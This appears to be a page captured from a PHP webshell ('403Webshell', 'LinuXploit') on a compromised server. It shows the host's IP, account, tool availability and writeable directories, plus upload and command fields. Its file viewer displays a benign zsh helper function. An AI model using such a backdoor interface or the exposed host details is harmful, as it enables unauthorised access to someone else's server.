403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/usr/share/zsh/functions/VCS_Info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/usr/share/zsh/functions/VCS_Info/VCS_INFO_bydir_detect
## vim:ft=zsh
## Written by Frank Terbeck <ft@bewatermyfriend.org>
## Distributed under the same BSD-ish license as zsh itself.

# Helper function for VCS_INFO_detect_*
#
# Usage:
#     vcs_comm[detect_need_file]=FILENAMES VCS_INFO_bydir_detect DIRNAME
# where DIRNAME is a directory name and FILENAMES is a space-separated list
# of filenames.
#
# If any parent directory of the current working directory, other than the root
# directory, contains a subdirectory named DIRNAME that contains a file whose name
# is in FILENAMES, set vcs_comm[basedir] to the path of that parent directory and
# return true.  Otherwise, return false.

setopt localoptions NO_shwordsplit
local dirname=$1
local basedir="." file

basedir=${basedir:P}
while [[ ${basedir} != '/' ]]; do
    [[ -r ${basedir} ]] || return 1
    if [[ -n ${vcs_comm[detect_need_file]} ]] ; then
        [[ -d ${basedir}/${dirname} ]] && {
            for file in ${(s: :)${vcs_comm[detect_need_file]}}; do
                [[ -e ${basedir}/${dirname}/${file} ]] && break 2
            done
        }
    else
        [[ -d ${basedir}/${dirname} ]] && break
    fi

    basedir=${basedir:h}
done

[[ ${basedir} == "/" ]] && return 1
vcs_comm[basedir]=${basedir}
# TODO: Would the following be correct? ---
# rrn=${vcs_comm[basedir]:t}
return 0

Youez - 2016 - github.com/yon3zu
LinuXploit